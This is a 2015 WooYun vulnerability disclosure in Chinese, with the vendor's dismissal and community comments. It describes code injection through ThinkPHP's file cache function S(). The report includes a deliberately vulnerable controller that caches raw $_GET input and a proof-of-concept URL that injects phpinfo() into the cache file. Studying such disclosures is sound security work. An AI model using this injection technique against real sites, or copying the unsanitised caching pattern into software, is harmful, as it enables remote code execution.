当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(95) 关注此漏洞

缺陷编号: WooYun-2015-101728

漏洞标题: ThinkPHP某处设计缺陷可导致getshell

相关厂商: ThinkPHP

漏洞作者: zcy

提交时间: 2015-03-16 23:07

公开时间: 2015-06-15 17:19

漏洞类型: 设计缺陷/逻辑错误

危害等级: 中

自评Rank: 10

漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 任意文件写入利用

21人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-16: 细节已通知厂商并且等待厂商处理中
2015-03-17: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-05-11: 细节向核心白帽子及相关领域专家公开
2015-05-21: 细节向普通白帽子公开
2015-05-31: 细节向实习白帽子公开
2015-06-15: 细节向公众公开

简要描述:

ThinkPHP某处设计缺陷可导致getshell

详细说明:

thinkphp中有个缓存函数S,在使用文件方式的缓存的时候,程序会有写出文件的操作。由于没做好过滤导致了代码执行。

code 区域
<?php
namespace Home\Controller;
use Think\Controller;

class IndexController extends Controller {
public function index(){
if (!S('aaaaa')) {
S('aaaaa',$_GET['w']);
echo 'cache ok';
}

}
}
?>



判断缓存不存在则写出缓存文件。在使用文件缓存的时候,由于未对缓存文件设置访问权限。导致代码执行。

浏览器中访问

code 区域
http://localhost:8888/thinkphp/Home/Index/index/?w=%0A;phpinfo%28%29;//



QQ20150316-1.png



缓存写出成功,然后访问应用目录下的runtime/temp目录,文件名为key的32位md5.



QQ20150316-2.png



成功执行phpinfo

QQ20150316-3.png





漏洞证明:

thinkphp中有个缓存函数S,在使用文件方式的缓存的时候,程序会有写出文件的操作。由于没做好过滤导致了代码执行。

code 区域
<?php
namespace Home\Controller;
use Think\Controller;

class IndexController extends Controller {
public function index(){
if (!S('aaaaa')) {
S('aaaaa',$_GET['w']);
echo 'cache ok';
}

}
}
?>



判断缓存不存在则写出缓存文件。在使用文件缓存的时候,由于未对缓存文件设置访问权限。导致代码执行。

浏览器中访问

code 区域
http://localhost:8888/thinkphp/Home/Index/index/?w=%0A;phpinfo%28%29;//



QQ20150316-1.png



缓存写出成功,然后访问应用目录下的runtime/temp目录,文件名为key的32位md5.



QQ20150316-2.png



成功执行phpinfo

QQ20150316-3.png





修复方案:

设置缓存文件的访问权限

版权声明:转载请注明来源 zcy@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-06-15 17:19

厂商回复:

最新的版本支持设置 DATA_CACHE_KEY 参数后,可以避免文件名被猜测到,而且官方的安全部署建议是部署到非WEB访问目录,再说runtime目录也是可以定义的。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(少于3人评价):
登陆后才能进行评分
0%
0%
0%
50%
50%

评价

  1. 2015-03-16 23:12 | 牛肉包子 ( 普通白帽子 | Rank:307 漏洞数:70 | baozisec)
    0

    mark

  2. 2015-03-17 07:57 | bey0nd ( 普通白帽子 | Rank:941 漏洞数:148 | 相忘于江湖,不如相濡以沫)
    0

    w

  3. 2015-03-17 08:10 | 啊L川 认证白帽子 ( 普通白帽子 | Rank:195 漏洞数:39 | 菜鸟 ,菜渣, 菜呀!)
    0

    mark

  4. 2015-03-17 08:14 | GreenVine ( 路人 | Rank:30 漏洞数:3 | Blooming like a flower!)
    0

    必须mark

  5. 2015-03-17 09:24 | hkAssassin ( 普通白帽子 | Rank:395 漏洞数:73 | 我是一只毛毛虫。)
    0

    利用条件不知道苛刻么??

  6. 2015-03-17 10:00 | 番茄炒蛋 ( 普通白帽子 | Rank:185 漏洞数:49 | 这条路还很长,还需要更努力)
    0

    必须mark

  7. 2015-03-17 17:22 | zcy ( 实习白帽子 | Rank:93 漏洞数:15 )
    0

    靠。这就给忽略了

  8. 2015-03-17 17:23 | zcy ( 实习白帽子 | Rank:93 漏洞数:15 )
    0

    @xsser @疯狗 有补rank的可能吗

  9. 2015-03-17 22:06 | 上官元恒 ( 路人 | Rank:3 漏洞数:3 | 屌丝程序员一枚,上能修电脑,下能装系统。)
    0

    mark

  10. 2015-04-09 15:29 | Jonasen ( 实习白帽子 | Rank:64 漏洞数:9 | have no)
    0

    mark

  11. 2015-04-15 08:59 | 带我玩 ( 路人 | Rank:16 漏洞数:8 | 带我玩)
    0

    咋个不开放啊

  12. 2015-04-30 22:59 | J4nker ( 普通白帽子 | Rank:136 漏洞数:35 | I have a dream)
    0

    叉,其实这个漏洞不算蛮严重漏洞的。有过滤的。而且很鸡肋

  13. 2015-04-30 23:02 | zcy ( 实习白帽子 | Rank:93 漏洞数:15 )
    0

    @J4nker - -在鸡肋也是漏洞啊

  14. 2015-06-16 00:49 | Q1NG ( 普通白帽子 | Rank:148 漏洞数:26 | 临 兵 斗 者 皆 阵 列 前 行 !)
    0

    mark

  15. 2015-06-16 06:26 | Me_Fortune ( 普通白帽子 | Rank:329 漏洞数:112 | The quiter you are,the more you're able ...)
    0

    @zcy 忽略的话还会给奖金么

  16. 2015-06-16 13:42 | xsser_w ( 普通白帽子 | Rank:116 漏洞数:34 | 哎)
    2

    不建议这样的漏洞 归咎于厂商。。 开发要是写出SQL注入我还能报给php官方团队让他们改进PHP呢

  17. 2015-06-17 00:55 | Jumbo ( 普通白帽子 | Rank:132 漏洞数:32 | 猫 - https://www.chinabaiker.com)
    0

    怎么知道key呢?@zcy

  18. 2015-06-17 09:36 | 这只猪 ( 路人 | Rank:24 漏洞数:6 | )(2009年荣获CCAV首届挖洞大使称号)(★★★...)
    0

    mark

  19. 2015-06-17 12:54 | zcy ( 实习白帽子 | Rank:93 漏洞数:15 )
    0

    @Jumbo 更适合在白盒里测试。哈哈

  20. 2015-06-17 22:09 | ca1n ( 普通白帽子 | Rank:100 漏洞数:22 | not yet)
    0

    。。。。太扯了

  21. 2015-09-22 19:12 | wefgod ( 核心白帽子 | Rank:1829 漏洞数:183 | 力不从心)
    0

    每次生成的缓存的内容都可以操纵?还是说必须要按你这个格式去写才可以操纵内容?如果是要按你这样写才可以的话……那无异于一个留后门的手法而已吧,不会有人特别这样去写代码吧?

  22. 2015-09-22 19:49 | roker ( 普通白帽子 | Rank:372 漏洞数:109 )
    0

    @wefgod 总之我是没见过有cms这么写的。。S('x',$_GET['w']);

  23. 2015-09-23 02:56 | zcy ( 实习白帽子 | Rank:93 漏洞数:15 )
    0

    @wefgod 入库没过滤的话。查询出来在写入缓存不就可以了吗。

  24. 2015-10-24 10:34 | wefgod ( 核心白帽子 | Rank:1829 漏洞数:183 | 力不从心)
    0

    @roker 那天我去翻了半天,一个例子都没找到……还遇到一个可以浏览目录的,本来以为是固定语法,必须要按此漏洞这样写,结果……压根没有

  25. 2015-12-11 14:12 | 蓝色忧郁 ( 实习白帽子 | Rank:46 漏洞数:4 | 小五子)
    0

    文件名为key的32位md5 这个key怎么获得

  26. 2015-12-11 14:13 | 蓝色忧郁 ( 实习白帽子 | Rank:46 漏洞数:4 | 小五子)
    0

    文件名为key的32位md5 这个key怎么获得

登录后才能发表评论,请先 登录